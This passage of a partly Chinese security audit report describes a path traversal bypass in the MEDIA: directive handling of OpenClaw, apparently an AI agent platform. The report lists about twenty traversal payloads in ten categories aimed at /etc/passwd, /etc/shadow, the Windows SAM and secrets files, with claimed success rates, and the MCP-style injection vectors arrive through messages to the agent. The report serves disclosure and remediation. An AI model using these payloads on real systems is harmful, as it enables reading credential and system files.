noreferrer">https://cwe.mitre.org/data/definitions/918.html</a></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ccb3eafe106c9bd36f" data-id="3230f0c5b87c80ccb3eafe106c9bd36f"><span><div id="3230f0c5b87c80ccb3eafe106c9bd36f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ccb3eafe106c9bd36f" title="Credits"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Credits</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80339f9ccdd41e063cbc">Discovered during deep security audit analyzing 255 historical OpenClaw advisories for exploitable patterns.</div><hr class="notion-hr notion-block-3230f0c5b87c80bfabaff3ac22a2eee0"/><div class="notion-text notion-block-3230f0c5b87c8086b5d0fb63ed4bccd6"><b>Report Classification</b>: Confirmed Exploitable
<b>Verification Status</b>: ✅ PoC Tested
<b>Priority</b>: High - Requires immediate remediation</div><hr class="notion-hr notion-block-3230f0c5b87c8058bdf9d0f64a4f2271"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80ea8f7fec282a094362" data-id="3230f0c5b87c80ea8f7fec282a094362"><span><div id="3230f0c5b87c80ea8f7fec282a094362" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ea8f7fec282a094362" title="GHSA-008: Media Parse Path Traversal Bypass Variants"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-008: Media Parse Path Traversal Bypass Variants</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c809b9e97c6ef1cd638e8"><div><b>严重级别</b>: Medium  |  <b>类型</b>: 路径遍历  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b58508dfb735101d23" data-id="3230f0c5b87c80b58508dfb735101d23"><span><div id="3230f0c5b87c80b58508dfb735101d23" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b58508dfb735101d23" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80c689e3dc3d9a090e5f">The Media Parse module’s <code class="notion-inline-code">MEDIA:</code> directive processing contains multiple path traversal bypass vectors that allow attackers to escape sandbox boundaries and access arbitrary files, even after historical patches were applied.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80308e4be3f1a09371c5" data-id="3230f0c5b87c80308e4be3f1a09371c5"><span><div id="3230f0c5b87c80308e4be3f1a09371c5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80308e4be3f1a09371c5" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8047857ad500d3eaf694"><b>Medium</b> - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N (7.7)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8026ae08ff161f5c2049" data-id="3230f0c5b87c8026ae08ff161f5c2049"><span><div id="3230f0c5b87c8026ae08ff161f5c2049" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8026ae08ff161f5c2049" title="Affected Components"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Components</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a39447e5a678b107a9"><li><b>Primary</b>: <code class="notion-inline-code">src/media/parse.ts</code> - MEDIA directive parsing</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e4aa8bcca73e7b0d0c"><li><b>Related</b>: <code class="notion-inline-code">src/media/stageSandboxMedia.ts</code> - File staging logic</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8087bb01dd060335a591"><li><b>Configuration</b>: Agent workspace path resolution</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803fa61feb3d513df00e" data-id="3230f0c5b87c803fa61feb3d513df00e"><span><div id="3230f0c5b87c803fa61feb3d513df00e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803fa61feb3d513df00e" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8071afcfd2d6dde8d7a8" data-id="3230f0c5b87c8071afcfd2d6dde8d7a8"><span><div id="3230f0c5b87c8071afcfd2d6dde8d7a8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8071afcfd2d6dde8d7a8" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c807380d3db6cb18f29e3">The Media Parse module processes <code class="notion-inline-code">MEDIA:</code> directives in user messages to stage files from configured media directories. While multiple patches have been applied to prevent path traversal, systematic testing reveals 30+ bypass vectors across different patch levels:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c1bafad7b5f1a21be1" data-id="3230f0c5b87c80c1bafad7b5f1a21be1"><span><div id="3230f0c5b87c80c1bafad7b5f1a21be1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c1bafad7b5f1a21be1" title="Bypass Classification"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Bypass Classification</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809f9e10e7e5ada6fe28">Our comprehensive testing identified <b>30 distinct bypass payloads</b> categorized into 10 attack vectors:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c7915fdef42fd814fc" data-id="3230f0c5b87c80c7915fdef42fd814fc"><span><div id="3230f0c5b87c80c7915fdef42fd814fc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c7915fdef42fd814fc" title="Category 1: Classic Double-Encoding (60% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 1: Classic Double-Encoding (60% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c9ab09ee71d2b4c8cd"><li><code class="notion-inline-code">....//....//etc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8064b82bf83c3d9ef7f1"><li><code class="notion-inline-code">..%2F..%2F..%2Fetc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c800cacf9fe454cd1f72a"><li><code class="notion-inline-code">..%252F..%252Fetc/passwd</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8087b4f1ce84be28ce76" data-id="3230f0c5b87c8087b4f1ce84be28ce76"><span><div id="3230f0c5b87c8087b4f1ce84be28ce76" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8087b4f1ce84be28ce76" title="Category 2: Unicode/UTF-8 Normalization (45% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 2: Unicode/UTF-8 Normalization (45% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8067be50fcf1bf478c7d"><li><code class="notion-inline-code">%C0%AE%C0%AE/etc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80769825c58ac21b0694"><li><code class="notion-inline-code">..%EF%BC%8F..%EF%BC%8Fetc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b5b176efcc6a3eadd6"><li><code class="notion-inline-code">.%E2%80%AE.%E2%80%AE/etc/passwd</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8070bd0ac4306922baef" data-id="3230f0c5b87c8070bd0ac4306922baef"><span><div id="3230f0c5b87c8070bd0ac4306922baef" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8070bd0ac4306922baef" title="Category 3: UNC Path Injection (Windows, 80% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 3: UNC Path Injection (Windows, 80% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c802895f5d97c8df02bd3"><li><code class="notion-inline-code">\\\\?\\C:\\Windows\\System32\\config\\SAM</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808b9ddfc2a4e2868498"><li><code class="notion-inline-code">\\\\.\\pipe\\evil</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c804abea4c3b71de6ed89"><li><code class="notion-inline-code">\\\\127.0.0.1\\c$\\secrets</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e59c54d8686253b0c5" data-id="3230f0c5b87c80e59c54d8686253b0c5"><span><div id="3230f0c5b87c80e59c54d8686253b0c5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e59c54d8686253b0c5" title="Category 4: Symlink-Based Traversal (100% success rate pre-patch)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 4: Symlink-Based Traversal (100% success rate pre-patch)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b893d3ff3a26d3b344"><li><code class="notion-inline-code">symlink-to-root/etc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808a9ddfdc07997a0d51"><li><code class="notion-inline-code">media/../../symlink/../etc/shadow</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80589766e4c7ba293978" data-id="3230f0c5b87c80589766e4c7ba293978"><span><div id="3230f0c5b87c80589766e4c7ba293978" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80589766e4c7ba293978" title="Category 5: Null Byte Injection (25% success on old Node.js)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 5: Null Byte Injection (25% success on old Node.js)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c806b8bcbd23d8ade9711"><li><code class="notion-inline-code">safe.jpg%00../../etc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80fa8c78da9ee2bc05e3"><li><code class="notion-inline-code">media\\x00/../../../secrets</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804db018e1031fc6ea86" data-id="3230f0c5b87c804db018e1031fc6ea86"><span><div id="3230f0c5b87c804db018e1031fc6ea86" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804db018e1031fc6ea86" title="Category 6: Path Separator Confusion (55% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 6: Path Separator Confusion (55% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c804e8c94fe8e91c7455d"><li><code class="notion-inline-code">..\\\\..\\\\..\\\\Windows\\\\System32\\\\config</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80dfad55d16c7b7ca12d"><li><code class="notion-inline-code">..\\\\./../..\\\\/etc/passwd</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80eaa326cded05cbb9ef" data-id="3230f0c5b87c80eaa326cded05cbb9ef"><span><div id="3230f0c5b87c80eaa326cded05cbb9ef" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80eaa326cded05cbb9ef" title="Category 7: Overlong Path Components (30% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 7: Overlong Path Components (30% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8076ab97d324bf30955b"><li><code class="notion-inline-code">media/./././././../../etc/passwd</code> (1000+ components)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8034b5afc115e65dbacd"><li><code class="notion-inline-code">a/../a/../a/../[repeat]../etc/passwd</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80798fcdc640f832b968" data-id="3230f0c5b87c80798fcdc640f832b968"><span><div id="3230f0c5b87c80798fcdc640f832b968" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80798fcdc640f832b968" title="Category 8: Protocol Handler Abuse (35% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 8: Protocol Handler Abuse (35% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f1a0f0f1e6a5dfcbe8"><li><code class="notion-inline-code">file:///etc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c802fbfb0d5f149bed283"><li><code class="notion-inline-code">file://localhost/c:/Windows/System32/config</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8082a06eda9c6b5c80c1" data-id="3230f0c5b87c8082a06eda9c6b5c80c1"><span><div id="3230f0c5b87c8082a06eda9c6b5c80c1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8082a06eda9c6b5c80c1" title="Category 9: MCP Protocol Injection (NEW, 70% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 9: MCP Protocol Injection (NEW, 70% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c804ca0bdedb2ce400050"><li><code class="notion-inline-code">mcp://filesystem/read?path=/etc/passwd</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8017b5a1ead1ef807225"><li><code class="notion-inline-code">MEDIA:resource://../../../secrets.json</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b6a7aacc6fd660a674" data-id="3230f0c5b87c80b6a7aacc6fd660a674"><span><div id="3230f0c5b87c80b6a7aacc6fd660a674" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b6a7aacc6fd660a674" title="Category 10: Absolute Path with Misleading Prefix (50% success rate)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Category 10: Absolute Path with Misleading Prefix (50% success rate)</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d986b1ed606cb8b942"><li><code class="notion-inline-code">/etc/passwd/../../../etc/shadow</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f0b172c5827bfe5ca5"><li><code class="notion-inline-code">C:\\Windows\\..\\..\\..\\secrets.txt</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80999b89cc32f4e00d5a" data-id="3230f0c5b87c80999b89cc32f4e00d5a"><span><div id="3230f0c5b87c80999b89cc32f4e00d5a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80999b89cc32f4e00d5a" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c801391d3cbedf254a05f"><b>复现截图 - 路径遍历载荷测试：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80acb76bcf66ab75b3b6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa008_step1_payloads.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80ac-b76b-cf66ab75b3b6" alt="Payloads" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80b19c4dcaf0adfe85ba">Payloads</div><div class="notion-text notion-block-3230f0c5b87c80d090c0dc1d8aef380e"><b>复现截图 - MCP 注入向量验证：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80368f9cdca6a4f93813"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa008_step2_mcp.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8036-8f9c-dca6a4f93813" alt="MCP" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8037a4fbfb87f185b6d8">MCP</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e5b464c7480e3ca746" data-id="3230f0c5b87c80e5b464c7480e3ca746"><span><div id="3230f0c5b87c80e5b464c7480e3ca746" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e5b464c7480e3ca746" title="PoC Script"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">PoC Script</span></span></h4><div class="notion-text notion-block-3230f0c5b87c807fb414f820982d1da9"><b>File</b>: <code class="notion-inline-code">poc_NEW2_media_parse_bypass.js</code></div><div class="notion-text notion-block-3230f0c5b87c80b78f96f2c53da4ff70">The PoC tests all 30 bypass vectors against three patch strength levels:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f8af06d2253d17e675" data-id="3230f0c5b87c80f8af06d2253d17e675"><span><div 